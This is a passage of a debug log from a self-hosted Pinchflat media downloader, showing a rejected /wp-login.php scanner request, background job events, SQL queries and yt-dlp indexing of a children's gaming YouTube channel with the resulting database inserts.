streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163427.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 58058}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8", "accept-encoding" => "identity", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "x-forwarded-for" => "46.232.235.133", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.232.235.133" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163428.0>, params: %{}, path_info: ["wp-login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "identity"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (W (truncated) 18:34:00.130 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:34:17.588 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:47.590 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:57.892 [info] {"args":{"id":2},"id":17073,"meta":{},"system_time":1787189697891885698,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:34:57.892 [debug] QUERY OK source="sources" db=0.2ms idle=1203.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:34:57.892 [debug] QUERY OK source="settings" db=0.1ms idle=1204.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:34:57.894 [debug] QUERY OK source="media_items" db=1.4ms idle=1009.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:34:57.895 [debug] QUERY OK source="media_items" db=0.4ms idle=9.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:34:57.895 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:34:57.896 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:34:57.896 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:34:57.902 [debug] QUERY OK source="media_items" db=1.4ms idle=6.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [2] 18:34:57.904 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 18:34:57.904 [debug] Current batch of media processed. Will check again in 1000ms 18:34:57.904 [debug] QUERY OK source="settings" db=0.4ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:34:57.904 [debug] QUERY OK source="settings" db=0.1ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:34:57.905 [debug] QUERY OK source="settings" db=0.2ms idle=8.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:34:57.905 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@maizenofficial --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/e7/a7/e7a7e465f439bb11b61bfe81d51fd8fcab6b38352dc26cde71cdb90d81bde1cf.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/30/f0/30f081d5551cdff91c6309b53566a6f22997e3660e262c3fb0cc8dc76286275c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:34:58.905 [debug] Current batch of media processed. Will check again in 1000ms 18:34:59.906 [debug] Current batch of media processed. Will check again in 1000ms 18:35:00.131 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:35:00.907 [debug] Current batch of media processed. Will check again in 1000ms 18:35:01.908 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 976, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", "id" => "2-aPfodzXeE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2-aPfodzXeE", "playlist_index" => 1, "timestamp" => 1787043612, "title" => "Why JJ And Mikey Ate ENTIRE World?", "upload_date" => "20260818"} 18:35:01.909 [debug] QUERY OK source="sources" db=0.2ms idle=220.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:01.909 [debug] QUERY OK source="sources" db=0.1ms idle=220.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:01.911 [debug] QUERY OK source="media_items" db=1.4ms idle=221.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-18 09:00:12Z], 2] 18:35:01.912 [debug] QUERY OK source="media_items" db=0.7ms idle=222.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "fcebafd6-ca66-4d9d-8672-f1cff4ef40b1", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", 1, "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, false, false, 2, [], 98, ~U[2026-08-18 09:00:12Z], ~U[2026-08-20 01:35:01Z], ~U[2026-08-20 01:35:01Z], "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, 2, ~U[2026-08-18 09:00:12Z]] 18:35:01.912 [debug] QUERY OK source="sources" db=0.2ms idle=22.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:01.912 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:01.913 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [482073] 18:35:01.913 [debug] Current batch of media processed. Will check again in 1000ms 18:35:02.914 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1231, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", "id" => "SYBhOxduPUg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SYBhOxduPUg", "playlist_index" => 2, "timestamp" => 1786852811, "title" => "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "upload_date" => "20260816"} 18:35:02.915 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:02.915 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:02.917 [debug] QUERY OK source="media_items" db=1.3ms idle=1003.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 04:00:11Z], 2] 18:35:02.918 [debug] QUERY OK source="media_items" db=0.6ms idle=1004.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "8e1c3049-817b-4bc3-82c7-4bd4f4d8d6d2", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", 2, "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, false, false, 2, [], 98, ~U[2026-08-16 04:00:11Z], ~U[2026-08-20 01:35:02Z], ~U[2026-08-20 01:35:02Z], "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, 2, ~U[2026-08-16 04:00:11Z]] 18:35:02.918 [debug] QUERY OK source="sources" db=0.1ms idle=27.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:02.919 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:02.919 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [472253] 18:35:02.919 [debug] Current batch of media processed. Will check again in 1000ms 18:35:03.920 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1360, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", "id" => "TEmV_KQkWXY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TEmV_KQkWXY", "playlist_index" => 3, "timestamp" => 1786797076, "title" => "BUILDING The SAFEST BASE to Survive in Roblox", "upload_date" => "20260815"} 18:35:03.921 [debug] QUERY OK source="sources" db=0.2ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:03.921 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:03.922 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-15 12:31:16Z], 2] 18:35:03.923 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "dd955f5b-1494-49c7-b606-54ab9cb73d49", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", 3, "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, false, false, 2, [], 98, ~U[2026-08-15 12:31:16Z], ~U[2026-08-20 01:35:03Z], ~U[2026-08-20 01:35:03Z], "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, 2, ~U[2026-08-15 12:31:16Z]] 18:35:03.924 [debug] QUERY OK source="sources" db=0.1ms idle=31.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:03.924 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:03.924 [debug] QUERY OK source="media_items" db=0.1ms 